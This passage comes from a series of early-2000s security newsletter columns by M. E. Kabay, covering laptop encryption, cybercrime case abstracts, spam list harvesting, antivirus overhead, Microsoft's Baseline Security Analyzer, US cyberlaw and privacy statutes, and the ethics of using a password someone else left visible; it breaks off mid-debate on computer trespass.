* Foreign governments also report laptop thefts: 600 from the UK Ministry of Defense since 1997; 500 in Australia in a single year, some with sensitive government information.

Depending on your circumstances, the loss of a computer may be a minor inconvenience; you can even buy insurance to recover part of the cost. And with computer prices dropping, the depreciated cost of an older laptop may easily cover the cost of a new replacement. However, the loss of control over confidential data may be a disaster. Think about the kinds of information that you or your executive users are carrying on corporate laptops; for most of us, the thought of having strangers ferreting through customer files, employee records, strategic plans and internal e-mail messages sends a chill up our spines.

To reduce the damage from lost and stolen computers, all of us should be encrypting sensitive data on our laptop computers. I use the PGPDisk function to sequester all sensitive information, including client files and student records, on my laptop. The encrypted partition looks like a disk

to the operating system and is painless to use: I just have to enter a passphrase to mount the disk when I boot up the computer. However, any thief who tries to read my data without the passphrase will find them completely uninterpretable. It won't even be possible to see the directory and filenames.

Similar protection is available with various operating systems that include encrypting file systems.

The cost is negligible; just do it. Today. Now.

Computer Crime News (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

There's been good news recently in the constant war on cybercrime. One of the services I subscribe to for computer crime news is run by Joe Mezzanini. His free Cybercrime Alerts service (subscription information at http://techPolice.com) provides several valuable articles a day on computer crime and forensics drawn from a variety of sources. In this newsletter and the next one, I relied entirely on Mezzanini's service and have written abstracts that include key points made in the original articles. I've also added personal comments about some of the cases. Thanks, Joe: keep up the good work.

* * *

In May 2002, New York Attorney General Eliot Spitzer charged mega-spammer MonsterHut and its executives with fraud for claiming that its e-mail distribution lists consisted entirely of opt-in recipients. The spammers sent more than 500 million unsolicited commercial e-mail messages over the course of a year. [MK comment: Let's hope that, if the accused are guilty, they are sentenced to read and delete 500 million unwanted commercial messages with misleading subject lines, bogus content advertising improbable enlargement of various body parts, and forged origination addresses – one by one. At 5 deletions per second 5 days a week for eight hours a day with two weeks off a year, that would keep them busy for, let's see (tap, tap), 11 years <evil grin>.]

* * *

Also in May, three employees of NEC Toshiba Space System Co., an aerospace firm in Japan, were arrested for hacking into National Space Development Agency (NASDA), the national space agency in that country in a quest for competitive intelligence about a rival firm, Mitsubishi Electric Corp. The illegal penetration allegedly took place in December 2001 and involved designs for a satellite antenna. Apparently the accused guessed a password; discovery followed discovery of an e-mail message supposedly from one of the perpetrators boasting about the hack; the message was sent to 80 recipients. NEC and Toshiba were both prevented from bidding on NASDA projects for one month. The accused will stand trial under Japan's computer crime laws.

* * *

In June, agents of the U.S. Secret Service disclosed that several universities in AZ, CA, FL and TX may have been infiltrated by criminals who installed keystroke loggers to steal userIDs and passwords. The illicit software was apparently installed directly on individual computers in computer labs used by students but potentially open to interlopers. [At Norwich University, CIO Phil Susmann has instituted an excellent policy of disallowing software installations of any kind on University lab computers; in addition, each workstation is automatically reconfigured from a standard mirror file every night to reduce the number of system crashes expected for Windows systems that actually have users who run programs.]

* * *

Operation Candyman continued to rack up successes in finding child pornographers who use the Internet to satisfy their bizarre proclivities. In July, federal prosecutors in Manhattan and Brooklyn indicted ten people, including a "West Point Army sergeant, two former city police officers and a retired Yonkers firefighter." [MK comment: I include this last detail because it is becoming clear that child pornographers include people from every walk of life. Remember, readers: in the USA and in most other countries, it is illegal to make, transmit or store child pornography (which is defined as depiction of children engaged in sexual activities). Report all occurrences of child pornography to the FBI (URL: _____). If you find child pornography on your computer at work, report it to the security group; if you accidentally stumble on a child pornography site on the Web, report the incident to your supervisor in writing so you don't get accused later of having deliberately downloaded the images that could be found on your hard disk during investigations.]

Computer Crime News (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As I mentioned in the first of these two articles, Joe Mezzanini's free Cybercrime Alerts service (subscription information at http://techPolice.com) provides several valuable articles a day on computer crime and forensics drawn from a variety of sources. This newsletter is the second to abstract and comment on articles distributed by Mezzanini. I recommend that anyone interested in keeping up with investigations and prosecutions of computer crime subscribe to his service. You can often find interesting nuggets that are perfect for your security-awareness materials and courses. Nothing perks up a mandatory security-policy class like some juicy recent crime cases.

* * *

On August 1st, the New York State Grand Jury delivered indictments against four people in a crackdown on a major identity-theft gang. According to the official press release from the Office of the Attorney General of NY, the accused are alleged to have used their access privileges as employees to steal personal details such as Social Security Numbers, credit-card numbers and bank account details from "New York State Insurance Fund, the Social Security Administration, Empire State College, WNYC radio, Hollywood Video, Worldcom Wireless and American Express." The gang impersonated the victims to order merchandise (including "hundreds of computers and more than a thousand cellular telephones") by phone; the loot was then sold on the black market by a large number of "fences." A member of this conspiracy who had worked at the NY State Insurance fund was convicted of grand larceny in July 2001 and is currently in jail for at least two and up to nine more years. [MK comment: always check your credit-card statement carefully as soon as you receive it. Immediately report unknown charges to the credit-card company and check with your bank to verify the status of your bank accounts.]

* * *

In mid-December 2001, four children from northern Israel were arrested for allegedly writing and distributing the Goner worm (aka "Pentagone" and "Gone"). In August, a group including four senior high school students (grades 10 and 11) and an eighth-grader were charged with violations of Israeli computer-crime laws. One of these script-kiddies allegedly wrote the worm in Visual Basic; the others are accused of posting the "screen saver" to various Internet sites. The worm spread rapidly by commandeering MS Outlok e-mail address books and ICQ instant messaging; it caused system crashes at NASA and other organizations. The five children were charged in August. [MK comment: yes, parents, your very own little darlings may be hacking NASA and writing the next misery-causing worm. How will you know unless you pay attention to what they are actually doing with that nifty computer you put in their bedroom last year?]

* * *

In Italy, 14 people were arrested in August on suspicion of being the criminal hackers from the "Mentor" and "Reservoir Dogs" gangs who are thought to have carried out thousands of illegal penetrations including data thefts from US government and military sites. Mathhew Broersma,

writing for CNET News.com, stated that the suspects "included four minors, the security manager of a large Italian Internet service provider, a network security manager for a computer consulting company, and several information technology consultants." The list of criminal activities in which the suspects allegedly participated includes the following:

- using stolen credit-card numbers;
- cracking the satellite TV encryption codes;
- making and selling illegal copies of DVDs;
- keeping the content of the DVDs on university servers they had penetrated;
- giving themselves unauthorized access on their own clients' systems;
- installing back doors on their clients' systems.

[MK comment: who will guard the guards? Use personnel security management techniques to spot unusual behavior before your systems are corrupted by dishonest employees or contractors. Verify the bona fides of "security experts" who offer their services to "strengthen" your security. Don't hire criminal hackers as security staff.]

Security Policy Discussion Group

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Sometimes a security specialist works in a relatively small organization where there's no one else interested in discussing security policies. It can be lonely and dispiriting to work on policies that can evoke such strong emotional responses from colleagues, so I'm glad to report on a useful resource for anyone interested in policy.

The Security Policy discussion group at Groups.Yahoo was founded in December 1999 by the Toronto (Canada) information assurance consultant, Anton J. Aylward, following a seminar and workshop held by the local chapter of the Information Systems Security Association (ISSA). Mr Aylward very kindly contributed the following description of the project and has allowed me to publish his text with minor edits.

* * *

The aim of the group is to act as a discussion forum for security professionals involved in formulation and security policies at all levels and in all areas of business, education and government. We discuss what constitutes policy, what is effective and the spectrum of policies, procedures, standards, guidelines and justifications, how they are formulated, promulgated, monitored and enforced.

Policies are the foundation of any effective security scheme, as every textbook on the subject tells us. They also seem to be one of the most difficult aspects of the information security practitioner's job. Many books and Web sites offer sample policies, but distilling them and customizing them to fit a particular organization, gaining approval and sign-off and then dealing with disseminating and enforcing them is daunting and stressful.

The workshop format, first held in April 1999, was a departure from the normal format of events sponsored by the Toronto chapter of the ISSA. Instead of listening to a previously prepared presentation, the attendees were invited to share their experiences dealing with security policies. Many interesting views emerged. The participants had very differing views of what constituted policies, who should be responsible for stating them, how to communicate them and how to enforce them.

The security-policy group began as an extension of the workshop, where the original attendees could share their experiences, ask questions and gather opinions. It now has members from many other areas and fields of interest. We invite readers to join us.

Fighting Spammers Who Steal Lists

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader who wishes to remain anonymous wrote to me as follows about yet another example of the thoroughgoing sleaziness of spammers. I have removed specific names because I don't know how trustworthy the report is and I'm not keen on getting sued; I also removed the profanity.

* * *

I recently began receiving unwanted messages from a site totally devoid of interest for me. I tried to get them off the Internet in my usual way by seeing if I could find a legitimate Web hosting service or ISP Internet service provider that was providing services to them to boot them off, but I failed. So I did something I very rarely do and that I discourage people from doing: I used the spammers' remove instruction.

As expected, it was not a pleasant experience. The spammer's Web site has a contract with a company that makes a product to stop pop-up ads; that company advertises by putting pop-up ads on the visitor's screen and then commiserating with the victim about how awful pop-up ads are! Naturally, I turned off pop-up ads at my firewall; no effect. I had to disable Java and JavaScript in my browser to get this [singular bad word] off my screen. Can you believe these [plural bad word]??

There was no effect of the supposed deletion. I continued receiving spam from these [plural bad word] in the days that followed by request for termination of this junk.

I went back to the site hoping to find something else I could do; at that point, I noticed that the URL for removal included a numerical ID number; curious, I changed the last digit by one to see what would happen. I discovered that the new URL promptly showed a screen claiming that the system had deleted someone else's e-mail address – and it was someone from my own university!

Further investigation of their database showed that the e-mail addresses that were from my school were all faculty members. There were many other users from the ".edu" domain in the list of addresses. My guess is that these [plural bad word] have stolen the addresses of faculty members from a wide range of university Web sites.

Do you have any suggestions on what we can do to stop these creeps from stealing our e-mail addresses from Web directories?

* * *

Alas, no, I cannot think of any foolproof method of stopping unscrupulous people from using faculty (or any other) e-mail lists that are posted on public WWW pages. The only thing I can think of is retaliatory. Before I go any further, it's important that I state clearly that I am not an attorney and this is not legal advice. For legal advice, consult an attorney with expertise in this

area of practice and who is licensed to practice law in your jurisdiction. The following comments are simply suggestions based on my understanding of the situation.

First, you have to state that your e-mail lists are copyright by your university and that all rights are reserved. Discuss the following text with your university attorney as a beginning (it's based on VeriSign's warning in its Domain Name Service listing when you do a WHOIS to find the owner of a particular domain):

"The data in the Particular University Faculty E-mail Listing are provided by Particular University for information purposes only, and to assist persons in obtaining information about or related to Particular faculty. Particular University does not guarantee the accuracy or completeness of this list. By using this Web page, you agree to use these data only for lawful purposes and that under no circumstances will you use these data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to Particular University (or its computer systems). The compilation, repackaging, dissemination or other use of these data is expressly prohibited without the prior written consent of Particular University. Particular University reserves the right to terminate your access to the Faculty E-mail Listing or any other portion of its Web site in its sole discretion, including without limitation, for excessive querying of the Web site or for failure to otherwise abide by this policy. Particular University reserves the right to modify these terms at any time. By using this Web site, you agree to abide by this policy."

Now, anyone unscrupulous enough to add people to a junk e-mail list without asking is unlikely to pay any attention to such a warning or even to see it; harvesting e-mail addresses is usually automated. Nonetheless, there's possibly relevant lawsuit that reached the California State Supreme Court in March 2002. An angry employee of Intel sent 30,000 (non-commercial) e-mail messages with his opinion to Intel employees using their company e-mail addresses. Lower courts have ruled that he abused the property of Intel; the American Civil Liberties Union and the Electronic Frontier Foundation are backing the employee's defense that he was entitled to express his opinion (see http://www.siliconvalley.com/mld/siliconvalley/2948781.htm). If this case goes against the respondent (employee), it might provide precedent for suing the spammer who abuses University e-mail addresses.

So in other words, maybe we can sue the [plural bad word].

Antivirus Antiperformance

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Nothing is free – that observation is sometimes known as the second law of thermodynamics and sometimes referred to as TANSTAAFL (or TINSTAAFL) for "There ain't (is) no such thing as a free lunch."

As some readers know, I have a very inclusive sense of the scope of "information security." Using the Parkerian Hexad, security specialists say that we are concerned with protecting six fundamental attributes of information: confidentiality, possession or control, integrity, authenticity, availability and utility (for details, see "What's Important for Information Security: A Manager's Guide" on my Web site in HTML or PDF on page < http://www.mekabay.com/infosecmgmt/index.htm >. Today I want to point out a quirk about using antivirus programs when you need high performance from your computer.

From 1980 to 1990, I earned my living in operations management; I was a performance specialist for Hewlett-Packard and specialized in operating-systems internals, database design and internals, and performance optimization. One of the principles of computer performance analysis is that there are only four contributions to program performance beyond application program design: access to and speed of the
1) processor
2) memory
3) disk operations;
4) network operations.

Now, I run an excellent antivirus on my main system and on my portable, which I keep synchronized so I can work either at my home office or away at the University or on trips. The operation, using LapLink, takes only a few minutes to synchronize over 18,000 files. A friend of mine was watching as I started the operation and asked me why I disabled my antivirus (AV) on both systems while synchronizing. I explained that the AV, although immensely useful when handling files coming in from outside the systems, is not necessary when transferring between two computers both of which are protected by the same program. "But what difference does it make?" asked my friend. Well, it turns out that the AV is consulted on every file-open operation; even if the file-type is not scanned, there's a momentary pause in the input-output (I/O) that does not matter if you're only doing a few operations – e.g., opening a file and then working on it with your word processor. But if you intend to check thousands of file, each additional fraction of a second can add up to cause significant differences in the time required to complete the job. The difference in the file synchronization is about three-fold faster without the AV.

Similarly, if a process opens the same file(s) over and over, using an AV can contribute enough delay that you can see the results yourself. For example, I have an e-mail client that can rebuild its database to clean out purged items or correct bad pointers and index values. While it is doing so, it repeatedly opens and closes the same files. While preparing this article, I timed the rebuild operation on a small database and found that with the AV operational, the build took 25 seconds;

without the AV, the same operation took 7 seconds. Does it matter for such a small database? No. Could it matter with a larger one? Quite likely. Nobody minds 25 seconds instead of 7 seconds, but one might get offended at 25 minutes instead of 7 minutes. And anyway – the definition of "availability" is a function of habit. I like 7 seconds and become impatient with 25 for this operation; for other operations, I might be happy with 25 and impatient with 75 seconds.

On that topic, I recall that when programmers used to put their new database programs into production with a test group of half a dozen data-input clerks, I urged them to insert a timer in the program to ensure that response time was not _faster_ than the service-level agreement stipulated. The point was that clerks who got used to quarter-second response time might be offended at 2.5 second response, even though the contract stipulated that acceptable performance under load was to be quicker than 5 seconds per transaction. Setting reasonable expectations was much simpler than trying to recover from disappointment.

So let's remember TANSTAAFL: running an AV is necessary and useful, but there may be times when a skilled user will choose to disable the AV while doing I/O-intensive operations.

Just remember to re-enable the AV before you leave your computer.

Baseline Security Analyzer

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In April 2002, Microsoft released the Microsoft Baseline Security Analyzer (MBSA) Version 1.0. This specialized vulnerability scanner runs on Windows 2000 and Windows XP systems and identifies known vulnerabilities in target systems running Windows NT 4.0, Windows 2000, Windows XP, Internet Information Server (IIS) 4.0 and 5.0, SQL Server 7.0 and 2000, Internet Explorer (IE) 5.01 and later, and Office 2000 and 2002.

Thomas McGuire posted a valuable guide to the product a few weeks after Microsoft released it. His paper shows screen-captures that illustrate the details of how to configure and use the vulnerability scanner.

Commentators noted that the MBSA is another step in the advance of security within Microsoft, long known for its apparent indifference to software quality assurance and security. With Bill Gates determination to make security the number-one priority in future software development and releases, the software giant has been appointing security experts to its staff, publishing books about security, and releasing security tools to the user community.

The MBSA product relies on a database of patches maintained by Microsoft; users will no longer need to monitor a Microsoft Web page to find out about newly discovered vulnerabilities and patches. However, notes writer Brian Fonseca, Microsoft's bad reputation in the security arena has even led to skepticism among users about the reliability of its new product.

About a three weeks after MBSA was released, Menashe Eliezer of the Finjan Malicious Code Center reported that MBSA leaves a plaintext file on the user's hard disk will full details about vulnerabilities found on a computer that has been scanned. The advisory warned that any exploit that allows local files to be read without authorization would compromise the target systems. Such exploits include active content in Web pages, e-mail-enabled worms that get infected attachments through out-of-date or disabled antivirus products, and Trojan horses downloaded from insecure sites.

This exploit reminds us that sensitive data should be encrypted on disk. Any vulnerability scanner should be protected by access controls that allow dynamic decryption of the data but which preclude automated processes from accessing cleartext data. In addition, firewalls must be configured to stop outbound data being sent by unauthorized processes.

More generally, we know that most of the exploits used to penetrate systems are old, not new. If the MBSA can push a few more system administrators (and get more support from the people they report to) into patching their systems, the product will do security a service. Protecting systems by having up-to-date operating system software and applications not only benefits the owners and users of the protected systems but also reduces the incidence of hijacked computers that are used to launch port scans, denial-of-service attacks and penetrations of other poorly protected systems.

Cyberlaw Statutes in the USA

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Relatively few information security practitioners have a grasp of the legal environment in which they work. Exceptions include CISSPs, who must demonstrate and maintain their knowledge of laws pertaining to computer crime, privacy, and other information security matters. This article introduces some of the most important laws governing cyberspace crime in the United States.

The most advanced set of laws criminalizing particular unlawful behavior involving computers and networks have been legislated in the United States. The *Computer Fraud and Abuse Act of 1986* (18 USC §1030) focuses primarily on protecting "government-interest" computers, including federal, state, county and municipal systems; financial and medical institutions; and computers used by contractors supplying such institutions. Specifically, the Act prohibits the use of "a program, information, code or command" with intent to damage, cause damage to, or deny access to a computer system or network. In addition, the Act specifically prohibits even unintentional damage if the perpetrator demonstrates reckless disregard of the risks of causing such damage.

Another law governing interstate electronic communications has been used in prosecutions of computer crimes: 18 USC §1343, dealing with wire fraud. Wire fraud requires the following elements: (a) a scheme to defraud by means of false pretenses; (b) knowing and willful participation with intent to defraud; (c) the use of interstate wire communications in furtherance of the scheme.

The Electronic Communications Privacy Act of 1986 (18 USC §1367 and others), generally known as the ECPA, assigns fines and prison sentences for anyone convicted of unauthorized interception and disclosure of electronic communications such as phone calls through land lines or mobile systems and e-mail. In addition, the ECPA specifically prohibits making use of an unlawfully overheard electronic communication if the interceptor knows that the message was unlawfully obtained. On the other hand, *providers* of electronic messaging systems, including employers, are permitted to intercept messages on their own systems in the course of their normal operations; naturally, they are authorized to transmit messages to other communications providers as part of the normal course of transmission to the ultimate recipient. The ECPA also prohibits access to stored messages, not just those in transit.

United States law also criminalizes the use of interstate communications for the transmission of threats, in kidnappings, and in extortion (18 USC §2518). Another form of prohibited speech is everything associated with child pornography: making, sending, publishing or storing images of children engaged in sexually explicit conduct (18 USC §2251).

The Communications Decency Act of 1996 (47 USC §223) was a highly controversial statute prohibiting anyone using interstate or communications from transmitting obscene or indecent materials when they know that the recipient is under 18 years of age – regardless of who initiated the communications. In June 1997, in a stinging rebuke to proponents of censorship, the United States Supreme Court issued its ruling on the Communications Decency Act, finding that it violated First Amendment protection of free speech. The unanimous opinion stated that the

effort to protect children from sexually explicit material went too far because it also would keep such material from adults who have a right to see it.

In addition to federal laws, the United States has a tapestry of state laws applying to computer crimes. States differ widely in the availability of computer-crime laws and in their definitions and penalties.

World Wild Web

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Cyberspace crime poses a jurisdictional problem because the perpetrator of a crime can reside in one country, act through computers and networks in several other countries, and cause harm to computer systems in yet other countries. Trying to investigate and prosecute crimes that are carried out in milliseconds when international cooperation can take days and weeks means that many computer crimes simply go unpunished.

The most irritating aspect of computer crime investigations and prosecutions is the jurisdictional quagmire resulting from incomplete and inconsistent laws. In international law, no one may legally be extradited from one country to face prosecution in another country unless both counties involved have *dual criminality.* That is, an offense must be similar in law and at the same level of criminality (misdemeanor, felony) before extradition can be considered by courts of law. Unfortunately, the paucity of laws even recognizing the existence of computer crimes interferes with capture, extradition and prosecution of criminals who live in one jurisdiction, use computers and networks in other jurisdictions, and harm victims all over the world.

A good example of the frustration felt by law enforcement officials and victims of computer crime occurred in the year 2000, when a world-wide infestation by the e-mail-enabled worm *Love Bug* caused damage and lost productivity estimated in the hundreds of millions of dollars. The putative originator of the worm was a computer programming student in Manila, The Philippines. Even though the alleged perpetrator came close to admitting his responsibility for the infection – and was lionized by the local press – there were no applicable laws in The Philippines under which he could be prosecuted locally. As a result, he was never extradited to the United States for prosecution.

A similar case occurred in 1996, when Julio Cesar Ardita was accused of unauthorized penetration of US military and university systems. The 23-year-old Argentine could not be charged in his homeland for lack of cybercrime statutes there. Interestingly, he voluntarily came to the United States in 1998 to face his accusers. Under a plea-bargain, he was sentenced in May 1998 to three years' probation and a $5,000 fine.

The current state of law enforcement for cyberspace crimes resembles the early days in the Wild West of the USA. Let’s hope that more countries can bring their legal systems into the 21st century.

Opportunistic Computer Trespass

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader recently wrote to me with a practical question:

> I'm at a cyber cafe and see an IBM rep log into the IBM site using GoToMyPC. I see the login and password. It was there for public display.

Is it legal for me to login to that site, and download a customer list, and use this information?

Has IBM, and this employee, left the door open for me and, in doing, made this information public?<

[Mandatory disclaimer: I am not a lawyer and this is not legal advice. For legal advice, consult an attorney.]

As I understand the laws and jurisprudence in the United States, using a system login without authorization is a violation of law(s). The Computer Fraud and Abuse Act (CFAA) of 1986 applies to federal-interest computers (essentially any computer used by or for federal, states, county, or municipal goverenment departments and agencies OR any vendors supplying services to those entities).

Additionally, the Electronic Communications Privacy Act (ECPA) of 1986 has no limitations on its applicability. It applies not only to unauthorized interception of private communications such as e-mail messages during transmission but also to stored versions of such documents.

Neither the CFAA nor the ECPA makes an exception for unauthorized access using a stolen (or borrowed, or inadvertently seen) user-ID & password. It's irrelevant how easy it is to break into a system: contrary to the widely-posted beliefs of criminal hackers and their supporters, exploiting obvious vulnerabilities to make unauthorized use of a restricted system does not exculpate the intruder.

The parallel in the real world is that if someone drops the metal key for entering a secured area of a business office or to enter the front door of a home, the finder of the key has no legal right to use it to enter the premises and then to eat pastries, steal radios, or snuffle through private information or any other property in the poorly-secured area. Similarly, just because a computer network is poorly secured, no one has a legal right to penetrate it – regardless of how they do so – and to access confidential information or to tamper with corporate systems.

There _have_ been occasional discussions in the courts about whether a system visible on the Internet that does NOT have any kind of warning about being restricted can be penetrated inadvertently without criminal penalty; to avoid such ambiguity, security policies should include an explicit warning equivalent to the NO TRESPASSING sign on a field in the countryside. Such a sign makes it illegal to walk on the land, regardless of whether the perimeter is protected by barbed wire, automatic machine guns or land-mines. But although all restricted systems

should be so noted for maximum legal protection, my understanding is that failing to post a warning does not excuse electronic trespass under law.

I hope you will forgive me for adding a personal note about ethical standards here. When I returned from a plane trip to Washington last week, I was walking out to the parking area when I noticed a parking stub lying on the floor. Upon picking it up to throw it in the waste basket (I just don't like litter), I noticed that it was time-stamped for a few minutes before I landed. Before I go further, I hope you won't interpret my example as insufferable self-righteousness – I'm just trying to make a point. So as I was saying, I threw the ticket away. Now, why didn't I use the ticket to get out of paying for a whole day of parking in the garage? After all, the security system of the garage is clearly inadequate: it does not authenticate the authorized user of a particular ticket (for instance, by printing an image of the license plate of the car used when getting the ticket at the dispenser). I just plain don't like the idea of cheating the parking garage out of their fee. The fact that I could do so is irrelevant: being able to cheat someone doesn't make it right.

Jon David on Privacy (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My friend and colleague Jon David often comments on my columns, and his recent remarks prompted me to ask him to elaborate on his thoughts about privacy. This column and the next are mildly edited versions of his writing with some additional URLs and references for further reading.

* * *

The emergence of the Internet in general, and the Worldwide Web in particular, as leading avenues for conducting business has brought with it new targets for information thieves. Data bases of inquiries and actual purchases are natural marketing resources, and credit card information can be readily misused. Because things like credit card lists can be easily associated with dollar damages, protective actions regarding them have attracted the lion's share of the interest thus far shown. This makes some sense, since things like making on-line purchases with credit cards would be very unattractive if users weren't told their transactions and information were secure. Other information -- things like names, addresses, telephone numbers, and the like -- are harder to quantify in dollar amounts, and therefore receive less attention.

Personal privacy has been an interest of many users since well before the popularization of the worldwide web. Going as far back as 25 years ago, when general electronic information interchange was accomplished via postings to bulletin boards and by individual correspondence via MCI Mail, CompuServe and the like, we find that services such as anonymizers -- which kept the names and e-mail addresses of the actual message senders a secret -- were often used. The reasons anonymizers were popular included not receiving unwanted responses, not making one's e-mail address public, and not being associated with a particular subject (sometimes inconvenient for either an individual or his/her employer). With the current prevalence of unsolicited commercial e-mail (“spam”), personal privacy has become increasingly important. There are now many gateway, server and individual spam-prevention products.

The industry is well aware of the need for privacy of user information. The most recent manifestation of this awareness is the Platform for Privacy Preferences Project (P3P) which has been developed by the World Wide Web Consortium. P3P gives users more control over the amount of information they disclose about themselves as they browse the Web. Further, and much more importantly, the privacy of personal information has become a specific legal issue.

* * *

In the next article, Jon David looks at specific recent legislation governing privacy in the USA.

* * *

Jon David < jon@securitymeister.com > has been a security advisor to industry and government for more than 20 years.

Jon David on Privacy (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first part of his essay on privacy, my friend and colleague Jon David reviewed some fundamentals of privacy in the world of electronic communications. In this second part of two, he looks at some relatively recent developments in US law that makes privacy mandatory in certain applications.

* * *

HIPAA, the Health Information Portability and Accountability Act, has specific security requirements devoted to what is known as personally identifiable information. This means, for example, that if information that a hospital was testing a new drug on 50 patients was to get out, that might not be ideal from the researchers' point of view, but at least it wouldn't be illegal. However, revealing the fact that John Smith was one of those patients would be a direct violation of HIPAA. Revealing his participation would imply that John might be suffering from an affliction treatable by that medication. If you want to imagine the consequences of such a data leakage for a participant, imagine that the drug were directed at treating, say, a sexually-transmitted disease.

There are severe penalties for both individuals and organizations set forth in the HIPAA security regulations. HIPAA is the concern of the entire healthcare industry, not just hospitals. This includes doctors in private practice, pharmacies, medical labs and test facilities, insurance providers, etc.

The Gramm-Leach-Bliley (GLB) Act treats financial privacy. Again, the orientation seems to be towards individually identifiable information. Hayes, Judy and Ritter, in Chapter 52 of the _Computer Security Handbook, 4th Edition_ have summarized the core of the GLB as follows:

"[It] requires every 'financial institution' to protect the security and confidentiality of its customers' nonpublic personal information, disclose its privacy policies to consumers, and provide consumers with an opportunity to direct that the institution not share their nonpublic personal information with unaffiliated third parties."

With most major financial services concerns having facets of their operations which deal in banking, securities (e.g., stocks, bonds, etc.), insurance, real estate and the like, this law governs a huge population of data subjects and data users.

It is important to note that both laws are directed towards the custodians of the information to be kept private. When personal information is offered to third parties (e.g., marketing firms), the custodians must inform each data subject of the proposed transfer and must provide the opportunity to refuse the transfer of his or her particular data before any of the data are divulged. Failing to offer each individual the right to opt-out of such transfers is a violation of the law.

Although the United States isn't the whole world, and while healthcare and financial services

aren't the majority of business activities even within the US, both HIPAA and GLB are having a significant impact on the ways organizations treat personal information they possess. It is likely that similar laws will be enacted for other industries.

Legal Implications of Quality Assurance Failures

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I had an interesting experience recently. A well-known magazine (the name is not necessary for my purposes) has been sending me dunning letters claiming that a gift subscription I gave a friend recently is about to expire. Here's the text of the letter I just sent to the Chief Information Officer of the publishing company:

* * *

RE: Computer error generates possible interstate postal fraud

Dear <name concealed>:

I bought a gift subscription for a friend in June 2002 and paid for a three-year subscription.

I have been receiving dunning letters from your subscription service since August, two months after I bought the subscription. All of them insist that the subscription will end "soon."

The computer program that sends out warnings about expiration of gift subscriptions has a serious error – it doesn't consider the actual expiry date. This error is likely an oversight; i.e., quality assurance has failed. However, it is also possible that someone has deliberately programmed the system to ignore the termination date in an effort to frighten gift donors into sending renewal fees years earlier than required.

The message "In fact, they'll soon receive their last issue" was in a letter purportedly signed by <name removed>, President and Publisher; I enclose that letter for your reference.

Given that the subscription in question ends in June 2005, the statement is false.

Sending misrepresentations designed to induce recipients to send you more money may constitute fraud. Using interstate postal mail to perpetrate fraud may constitute a violation of US Federal Mail Fraud statutes. I urge you to correct this error at once.

[I am not a lawyer and this is not legal advice. For legal advice, consult an attorney qualified to help you in this matter.]

* * *

What struck me about this relatively minor problem is that a computer programming error may have legal repercussions when it affects marketing or any other communications with clients. In this case, what I hope is the simple omission of an expiration-date check allowed the computer system to send wholly inappropriate warnings that could be interpreted by naïve recipients as pressure to renew gift subscriptions that won't need renewal for a long time yet. There's nothing wrong with suggesting early renewal; stating or even implying that without the renewal, the

subscription will end in the immediate future is clearly out of line.

A much more bizarre case of legal implications resulting from a computer error was described in February 1999, when for unknown reasons, the BUY.COM online store Web site listed a $588 Hitachi monitor at only $164.50 — and staff failed to notice the error until two days later, by which time there were 1,600 orders for this incredible bargain. The potential cost was estimated by the company at $320,000.

Analysts speculated on the cause of the error. One intriguing possibility: the BUY.COM online store had a policy of underbidding any price on the Net and may possibly have used knowbots (knowledge-robots) to scour the Web looking for prices of products it was selling. Speculation had it that if a competitor accidentally or deliberately posted a bad price, the unsupervised knowbot could very well poison the BUY.COM Web site database. The same technique could be used in an information warfare attack to ruin a competitor. Even worse, the same problem could occur if two companies inadvertently used the same policy of underbidding all competitors and then simultaneously launched automated processes to lower the price without human intervention. In the event, BUY.COM filled 200 orders and told all the rest that they were out of luck. They also posted new language on their Web site explicitly repudiating erroneous prices.

In this hypothetical case, the design error – allowing an automated process to lower a price without warning a human being and without a floor price set by a human being – could have led to lawsuits for false advertising. Now, according to an attorney cited by Polly Sprenger in her article about the case (see reference below), it was very unlikely that anyone would win a lawsuit for fraud in the case of an error. It remains, however, that even a failed lawsuit could be a considerable embarrassment to a reputable company and that even a cheap lawsuit is expensive compared to, say, the cost of a new router.

Similar concerns about being held to out-of-date advertising lead to the recommendation to put expiration dates on all advertising likely to be circulated via e-mail. Concerns over fraudulent tampering with the content of such freely-circulating e-mail ads leads to the recommendation to use digital signatures to be able to repudiate forged versions of the original advertisements.

In conclusion, to avoid embarrassment and possible legal entanglements, everyone with responsibility for automated processes should be especially careful to apply proper quality assurance to any automatically-generated mass communication involving prices or services.

Ethical Debate over Computer Trespass (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The column about finding a user ID and password in a cyber-café provoked some interesting e-mail responses from readers who were interested in the problem. Some correspondents were appalled by what they interpreted as the original reader's lack of moral sense. I learned through further correspondence with this person, who wisely chooses to remain unnamed in this column, that he is definitely not a moral imbecile: he was genuinely interested in how to respond to such questions, not taking a stance in favor of trespass.

Most readers of this column are already highly qualified to discuss the ethical issues of criminal hacking, especially with young people. I hope that some of these readers will be interested in the following correspondence that followed his initial questions and stimulated to engage in dialogue with criminal hackers and would-be hackers and exploiters of vulnerabilities to challenge their assumptions.

The following is a slightly edited version of my response to a series of questions and arguments he put up for discussion. Because of the length of the debate, I've broken the correspondence into three parts.

* * *

You wrote:
>If I see an ID and password and use this am I breaking in? <

Yes.

>What did I break? <

Ethical principles and the law. And "breaking in" is a metaphor, not a literal description of physical damage, so your question about what you broke is surely disingenuous -- that is to say, sophistry.

Who is to say that this was not meant to be a public login ID.<

